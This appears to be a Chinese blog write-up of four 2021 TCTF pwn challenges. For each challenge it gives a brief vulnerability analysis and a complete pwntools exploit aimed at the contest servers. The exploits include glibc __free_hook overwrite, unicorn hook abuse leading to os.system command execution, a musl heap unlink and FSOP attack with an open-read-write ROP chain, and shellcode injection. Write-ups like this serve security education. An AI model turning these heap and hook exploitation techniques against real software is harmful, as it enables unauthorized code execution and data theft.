2021-TCTF题解

字数统计: 2.5k字   |   阅读时长≈ 12分

2021 TCTF 题目类型涉及到了平常不会接触的题型，通过这次比赛初次接触了unicorn和musl-gcc。

Listbook

程序分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
__int64 __fastcall sub_134C(__int64 name, int size)
{
  char buf; // [rsp+17h] [rbp-5h]
  char v4; // [rsp+17h] [rbp-5h]
  int i; // [rsp+18h] [rbp-4h]

  buf = 0;
  for ( i = 0; i < size; ++i )
    buf += *(_BYTE *)(i + name);
  v4 = abs8(buf);
  if ( v4 > 15 )
    v4 %= 16;
  return (unsigned int)v4;
}

在计算chunk的 idx时，会将堆块所有内容相加，然后取其绝对值，再模16。最终得到 chunk的编号。

这里，如果输入数据为 128，会导致计算的编号为 ff，即为 -1，向上溢出。

利用分析

能向上溢出，说明能向上修改 used_list或者 chunk_list。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
from pwn import *

context.update(arch='amd64', os='linux', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
file_path = "./listbook"
libcname = '/lib/x86_64-linux-gnu/libc.so.6'

debug = 0
if debug:
    p = process(file_path)
    libc = ELF(libcname)
    elf = ELF(file_path)
else:
    p = remote('111.186.58.249', 20001)
    libc = ELF('./libc-2.31.so')

gadgets = [0x4f365, 0x4f3c2, 0x10a45c, 0xf1207]
def Add(name, payload):
    p.sendlineafter('>>', str(1))
    p.sendlineafter('name>', name)
    p.sendlineafter('content>', payload)

def Del(idx):
    p.sendlineafter('>>', str(2))
    p.sendlineafter('index>', str(idx))

def Show(idx):
    p.sendlineafter('>>', str(3))
    p.sendlineafter('index>', str(idx))

def Pwn():
    for i in range(7):
        Add('1', '1'*0x10)
    Add('9', '99')
    #Add('9', '99')
    Add('8', '88')
    Del(1)
    Del(9)
    #gdb.attach(p, 'bp $rebase(0x17cf)')
    for i in range(7):
        Add('1', '1'*0x10)
    #gdb.attach(p, 'bp $rebase(0x17cf)')
    print("split")

    Add('2', '2'*0x10)
    Add('0', '0'*0x10)
    Add('3', '3'*0x10)
    Del(1)
#    Del(2)
    Del(0)

    print("overwrite")
    Add(p8(128), 'a'*0x10)
    Show(0)
    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = libc_addr-96-0x10-libc.sym['__malloc_hook']
    print("libc_addr:",hex(libc_addr),hex(libc_base))
    free_hook = libc_base+libc.sym['__free_hook']
    system_addr = libc_base+libc.sym['system']

    Del(3)
    Del(2)

    for i in range(7):
        Add('1', '1'*0x10)
    Add('5', '5'*0x10)

    Del(8)
    Del(0)
    Del(5)

    payload = 'a'*0x80+p64(0)+p64(0x211)+p64(free_hook)
    Add('6', payload)
    Add('7', '/bin/sh\x00')
    Add('9', p64(system_addr))

    Del(7)
    p.interactive()

Pwn()

uc_masteer

程序分析

利用 unicorn实现了对一个程序的 hook。主要有两个重要的 hook。当访问了 CODE + 0x6b - 5的指令时，会调用 admin_hook，将全局变量is_admin=True，并且调用写函数，覆盖code+0x1000的代码：

1
2
3
4
def admin_hook(uc, address, size, user_data):
    global is_admin
    is_admin = True
    uc.mem_write(CODE + 0x1000, ADMIN)

第二是对 0xbabecafe233地址的访问时，也会触发一个hook。会将全局变量is_admin=False，并执行写入的数据：

1
2
3
4
5
6
7
def hook_mem_access(uc, access, address, size, value, user_data):
    global is_admin
    if is_admin and address == 0xbabecafe233:
        is_admin = False
        cmd = uc.mem_read(value, 0x100)
        if cmd.startswith(b'k33nlab'):
            os.system(cmd[7:cmd.index(0)].decode('utf-8'))

利用分析

这里基本的想法是，触发 hook_mem_access,去执行命令，但是将改命令code+0x1053改为自己的数据。

这里首先就要保证 is_admin=True。但是，如果想要使其为True，就得执行admin_hook。但执行了该hook，又回将我们修改的 code+0x1053的数据覆写回去。

但是，这里关注到这两个部分的跳转地址都位于栈上，所以通过修改跳转地址。可以实现先 触发admin_hook，但不紧接着执行hook_mem_access。然后修改了 code+0x1053的命令，再用 test去执行。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
from pwn import *
context.update(arch='amd64', os='linux', log_level='debug')
context.terminal=(['tmux', 'split', '-h'])

p = remote('111.186.59.29', 10087)

p.sendline("\n")
p.sendlineafter('?:', str('1'))
p.sendlineafter('(y/[n])', 'y')

p.sendlineafter('?:', str('3'))

#0xbabecafe233
#payload = 'ls'
payload = p64(0xdeadbeef000)
p.sendafter('addr: ', p64(0xbabecafe000))#p64(0xdeadbeef000+0x1000+0x200))#p64(0xdeadbeef000+0x1000))
p.sendafter('size: ', p8(0xff))
p.sendafter('data: ', payload)

p.sendlineafter('?:', str('1'))


p.sendlineafter('?:', str('3'))

#payload = 'k33nlabecho \'./flag\''
#p.send(payload)



payload = p64(0xdeadbeef000+0x1000)
p.sendafter('addr: ', p64(0xbabecafe000))#p64(0xdeadbeef000+0x1000+0x200))#p64(0xdeadbeef000+0x1000))
p.sendafter('size: ', p8(0xff))
p.sendafter('data: ', payload)

p.sendlineafter('?:', str('3'))

payload = b"k33nlabcat " + b"\x00\x27" + b"cat flag" + b"\x27\x00"
p.sendafter('addr: ', p64(0xdeadbeef000+0x1053))#p64(0xdeadbeef000+0x1000+0x200))#p64(0xdeadbeef000+0x1000))
p.sendafter('size: ', p8(0xff))
p.sendafter('data: ', payload)

p.sendlineafter('?:', str('2'))
#p.sendlineafter('(y/[n])', 'y')

p.interactive()

babyheap2021

程序分析

1
2
3
4
5
6
7
int __fastcall get_input(chunk_struct *a1, int a2, int a3)
{
  if ( a3 > (signed __int64)a1[a2].size )
    return puts("Invalid Size");
  printf("Content: ");
  return get_buf((__int64)a1[a2].data, a3);
}

edit读取用户输入时，size的类型由int64变为了int32。导致我们可以输入 0xffffffff来绕过对size的检查，最终实现堆溢出。

利用分析

是 musl-gcc，版本是 1.1.24。很老的一个版本，所以有很多漏洞。这里如果想具体学习musl中的堆管理机制，可以参考这篇文章。

泄漏地址

由于musl对堆块的管理都是通过mal.bins来管理，类似glibc的 smallbin，是一个双向链表。所以我们只要申请一个堆块，其都会残留一个libc地址。

但是，这里对申请的堆块，都会执行memset操作。所以，这里需要使用堆重叠，来泄漏地址。

先申请4个大小为0x20的堆块，利用chunk1的堆溢出，修改chunk2的size为0x41，和修改chunk4的prv_size=0x21。然后释放 chunk2，再申请一个0x20的chunk。此时会切割chunk2，那么刚好就会在chunk3处残留libc地址。输出即可泄漏。

任意堆块分配

这里可以利用堆溢出来实现任意堆块分配。

musl的堆块malloc时，也会有一个类似的unlink的操作。会将进行如下解链操作：

1
2
3
4
5
6
7
8
9
static void unbin(struct chunk *c, int i)
{
	if (c->prev == c->next)
		a_and_64(&mal.binmap, ~(1ULL<<i));
	c->prev->next = c->next;
	c->next->prev = c->prev;
	c->csize |= C_INUSE;
	NEXT_CHUNK(c)->psize |= C_INUSE;
}

如果能够控制当前空闲chunk的prev和next指针，就能向任意地址写入一个堆地址。

而前面提到musl对于空闲堆块的管理，采用类似smallbin的双链表。而这里musl更不安全，在malloc时并没有对双链表的完整性进行检查。如果我们能够修改一个mal.bins的head指针指向我们想要的地址，后面就可以分配该bins的空闲堆块，就会把我们想要的地址分配给我们。

这里只需要保证我们伪造的fake_chunk的next和prev指针可写即可。

这里的思路是先利用修改一个0x20的chunk的next和prev指针分别指向mal.bins[37]-0x10和stdin-0x10的地址。

然后分配该0x20的chunk，由于该chunk位于mal.bins[0]的head，此时进行解链。即会将 (mal.bins[37]-0x10)->prev = mal.bins[37]+8的位置写上prev=fake_chunk-0x10，即将mal.bins[37].head = fake_chunk-0x10。将(fake_chunk-0x10)->next = fake_chunk的位置写上next=mal.bins[37]-0x10的值。

此时，对于mal.bins[37]的head被指向了fake_chunk-0x10。而mal.bins[37]存储的是 top_chunk的地址，也就是后续分配堆块，如果没有空闲堆块匹配，那么就会直接从mal.bins[37].head中去分配堆块。这样就实现了向任意地址分配堆块。

随后，还需要再利用一次上面的步骤，不过是修改同样的0x20的chunk的next和prev指针都指向fake_chunk-0x10的地址。目的是 向fake_chunk的next和prev处写入一个可写的地址。

最后，即可分配 任意大小的堆块，分配出fake_chunk。

getshell

实现了任意堆块分配后，由于musl-gcc没有__free_hook或__malloc_hook这一类指针。所以比较稳定的利用方法是利用FSOP。

将任意堆块分配到stdin结构体处，修改stdin.write指针，触发 exit最终即会调用如下函数：

1
2
3
4
5
6
7
static void close_file(FILE *f)
{
	if (!f) return;
	FFINALLOCK(f);
	if (f->wpos != f->wbase) f->write(f, 0, 0);
	if (f->rpos != f->rend) f->seek(f, f->rpos-f->rend, SEEK_CUR);
}

只要保证f->wpos不等于f->wbase，就能保证去触发write指针。

由于开启了沙箱，所以需要找一个gadget，来执行orw。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
from pwn import *
context.update(arch='amd64', log_level='debug', os='linux')
context.terminal=(['tmux', 'split', '-h'])

debug = 0
filename = './babyheap'
libcname = '/lib/x86_64-linux-musl/libc.so'
if debug == 1:
    p = process(filename)
    libc = ELF(libcname)
    elf = ELF(filename)
else:
    p = remote('111.186.59.11',11124)
    libc = ELF(libcname)
    elf = ELF(filename)

def add(size, payload):
    p.sendlineafter('Command: ', str('1'))
    p.sendlineafter('Size: ', str(size))
    if size != 1:
        p.sendafter('Content: ', payload)

def edit(idx, size, payload):
    p.sendlineafter('Command: ', str('2'))
    p.sendlineafter('Index: ', str(idx))
    p.sendlineafter('Size: ', str(size))
    p.sendafter('Content: ', payload)

def show(idx):
    p.sendlineafter('Command: ', str('4'))
    p.sendlineafter('Index: ', str(idx))

def delete(idx):
    p.sendlineafter('Command: ', str('3'))
    p.sendlineafter('Index: ', str(idx))

def Pwn():
    add(0x1, '0')
    add(0x2, '1')
    add(0x8, '2'+'\n')
    add(0x2, '3')
    #gdb.attach(p)
    size = 0x00000000ffffffff
    payload = 'a'*0x10+p64(0x21)+p64(0x41)+p64(0)*2+p64(0x21)+p64(0x21)+p64(0)*2+'\x41'
    edit(0, size, payload+'\n')
    delete(1)
    add(0x1,  '1')
    show(2)
    libc_addr = u64(p.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
    libc_base = libc_addr-0xb0a40
    print("libc_base:",hex(libc_base))
    system_addr = libc_base+0x4ef80

    #delete(3)

    add(0x10, '4\n')  #chunk 2

    print("chunk calloc")

    add(0x10, '5\n')  # 3
    add(0x10, '6\n')  # 4, prevent consolidation
    add(0x10, '7\n')  # 5
    add(0x10, '8\n')  # 6, prevent consolidation

    delete(5)
    delete(7)

    bin37 = libc_base + 0xb0dc0#0xb0dc0#0x292e40  # mal.bins[38]->head
    fake_chunk = libc_base +0xb0180-0x10-0x20
    next = bin37-0x10
    prev = fake_chunk
    brk = libc_base + 0x23050
    binmap = libc_base + 0xb0a40
    stdin = libc_base + 0xb0180

    payload = 'X' * 0x10
    payload += p64(0x21) * 2 + 'X' * 0x10
    payload += p64(0x21) + p64(0x20) + p64(next) + p64(prev)
    payload += p8(0x20)
    payload += 'n'

    print("alloc chunk 4")
    add(0x10, '5\n')
    size = 0x00000000ffffffff
    print("chunk overwrite")
    edit(5, size, payload+'\n')

    add(0x10, '7\n')  # 5

    print("next:",hex(next),hex(prev),hex(libc.symbols['environ']))
    print("fake chunk")
    # edit(7, 0x10, p64(next)+p64(fake_chunk)+'\n')
    # add(0x10, '9\n')
    edit(7, 0x10, p64(fake_chunk)+p64(fake_chunk)+'\n')
    add(0x10, '9\n')
    add(0x50, '10\n')    #fake chunk

    mov_rdi = 0x78d24 + libc_base
    jmp_rdi = libc_base + 0x1f564
    p_rdi_r = libc_base + 0x15291
    p_rsi_r = libc_base + 0x1d829
    p_rdx_r = libc_base + 0x2cdda
    p_rax_r = libc_base + 0x16a16
    syscall = libc_base + 0x23720
    flag_str_addr = fake_chunk+0x10+0x20+0x40
    flag_addr = libc_base + 0xb0180+0x350
    open_addr = libc_base + libc.sym['open']
    read_addr = libc_base + libc.sym['read']
    write_addr = libc_base + libc.sym['write']

    orw = flat([
        p_rdi_r, flag_str_addr,
        p_rsi_r, 0,
        open_addr,
        p_rdi_r, 3,
        p_rsi_r, flag_addr,
        p_rdx_r, 0x30,
        read_addr,
        p_rdi_r, 1,
        p_rsi_r, flag_addr,
        p_rdx_r, 0x30,
        write_addr
    ])


    rop_addr = fake_chunk+0x10+0x250
    read_rop = flat([
        p_rdi_r, 0,
        p_rsi_r, rop_addr,
        p_rdx_r, 0x100,
        read_addr,
    ])
    jmp_rsi = libc_base+0x26354
    ret_addr = libc_base + 0x494a0
    p_rsp_r = libc_base+0x15e07
    p_rsp_r = 0x15e07 + libc_base
    payload = read_rop  # stdin->flags
    payload += p64(p_rsp_r)+ p64(fake_chunk+0x10+0x250)
    payload += p64(fake_chunk+0x10+0x250+4)  # stdin->wpos   #0x28
    payload += p64(fake_chunk+0x10)
    payload += p64(ret_addr)  # stdin->wbase
    payload += './flag\x00\x00'
    payload += p64(mov_rdi)  # stdin->write

    print("IO_FILE attack:",hex(mov_rdi))
    edit(10, 0xffffffff, payload+'\n')

    p.sendlineafter('Command: ', str('1'))
    p.sendafter('Size: ', str(2**48-1))

    print("mov_rdi:",hex(mov_rdi))
    p.sendline(orw)

    p.interactive()

Pwn()

uc_goood

程序分析

和前一题区别在于，这道题不能再去修改跳转地址了。需要通过字节写shellcode来控制程序执行流。

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *

context.log_level = "debug"
context.arch = "amd64"
context.os = "linux"

IP, PORT = "111.186.59.29", 10088

p = remote(IP, PORT)

def patch_data(addr, size, data):
    p.sendlineafter("?: \x00", "3")
    p.sendafter("addr: \x00", p64(addr))
    p.sendafter("size: \x00", p64(size))
    p.sendafter("data: \x00", data)

idx = 0x9a
my_code = asm('''
    mov rax, {};
    mov r9, 0xbabecafe1e6;
    mov r8, 0xbabecafe000;
    mov rbx, 0xdeadbeef067;
    mov qword ptr [rsp], rbx;
    jmp qword ptr [rsp];
'''.format(0xdeadbef0000+idx))

p.send(my_code)


CODE = 0xdeadbeef000
STACK = 0xbabecafe000

payload = b"k33nlab/readflag\x00"
patch_data(STACK, len(payload), payload)

p.sendlineafter("?: \x00", "2")

p.interactive()
赏

只要你支持她，我们就是好朋友2333

支付宝
微信

扫一扫，分享到微信

tag:

    缺失模块。
    1、请确保node版本大于6.2
    2、在博客根目录（注意不是yilia-plus根目录）执行以下命令：
    npm i hexo-generator-json-content --save

    3、在根目录_config.yml里添加配置： 

      jsonContent:
    meta: false
    pages: false
    posts:
      title: true
      date: true
      path: true
      text: false
      raw: false
      content: false
      slug: false
      updated: false
      comments: false
      link: false
      permalink: false
      excerpt: false
      categories: false
      tags: true

主要研究：
二进制安全、漏洞挖掘
CTF菜鸡一只

天枢Dubhe 学习ing